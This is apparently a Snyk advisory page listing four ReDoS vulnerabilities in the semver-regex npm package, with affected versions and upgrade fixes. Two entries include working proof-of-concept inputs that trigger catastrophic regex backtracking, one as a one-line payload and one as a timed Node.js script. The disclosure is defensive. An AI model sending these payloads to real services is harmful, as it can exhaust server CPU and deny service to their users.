semver-regex@2.0.0 vulnerabilities

Regular expression for matching semver versions

Direct Vulnerabilities

Known vulnerabilities in the semver-regex package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Regular Expression Denial of Service (ReDoS)

semver-regex is a Regular expression for matching semver versions

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper usage of regex in the semverRegex() function.

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade semver-regex to version 3.1.4, 4.0.3 or higher.

<3.1.4 >=4.0.0 <4.0.3
  • H
Regular Expression Denial of Service (ReDoS)

semver-regex is a Regular expression for matching semver versions

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). semverRegex function contains a regex that allows exponential backtracking.

PoC

import semverRegex from 'semver-regex';

// The following payload would take excessive CPU cycles
var payload = '0.0.0-0' + '.-------'.repeat(100000) + '@';
semverRegex().test(payload);

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade semver-regex to version 3.1.3 or higher.

<3.1.3
  • H
Regular Expression Denial of Service (ReDoS)

semver-regex is a Regular expression for matching semver versions

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can occur when running the regex on untrusted user input in a server context.

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade semver-regex to version 4.0.1, 3.1.3 or higher.

>=4.0.0 <4.0.1 <3.1.3
  • M
Regular Expression Denial of Service (ReDoS)

semver-regex is a Regular expression for matching semver versions

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS).

PoC


// import of the vulnerable library
const semverRegex = require('semver-regex');
// import of measurement tools
const { PerformanceObserver, performance } = require('perf_hooks');

// config of measurements tools
const obs = new PerformanceObserver((items) => {
 console.log(items.getEntries()[0].duration);
 performance.clearMarks();
});
obs.observe({ entryTypes: ['measure'] });

// base version string
let version = "v1.1.3-0a"

// Adding the evil code, resulting in string
// v1.1.3-0aa.aa.aa.aa.aa.aa.a…a.a"
for(let i=0; i < 20; i++) {
   version += "a.a"
}

// produce a good version
// Parses well for the regex in milliseconds
let goodVersion = version + "2"

// good version proof
performance.mark("good before")
const goodresult = semverRegex().test(goodVersion);
performance.mark("good after")


console.log(`Good result: ${goodresult}`)
performance.measure('Good', 'good before', 'good after');

// create a bad/exploit version that is invalid due to the last $ sign
// will cause the nodejs engine to hang, if not, increase the a.a
// additions above a bit.
badVersion = version + "aaaaaaa$"

// exploit proof
performance.mark("bad before")
const badresult = semverRegex().test(badVersion);
performance.mark("bad after")

console.log(`Bad result: ${badresult}`)
performance.measure('Bad', 'bad before', 'bad after');

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade semver-regex to version 3.1.2 or higher.

<3.1.2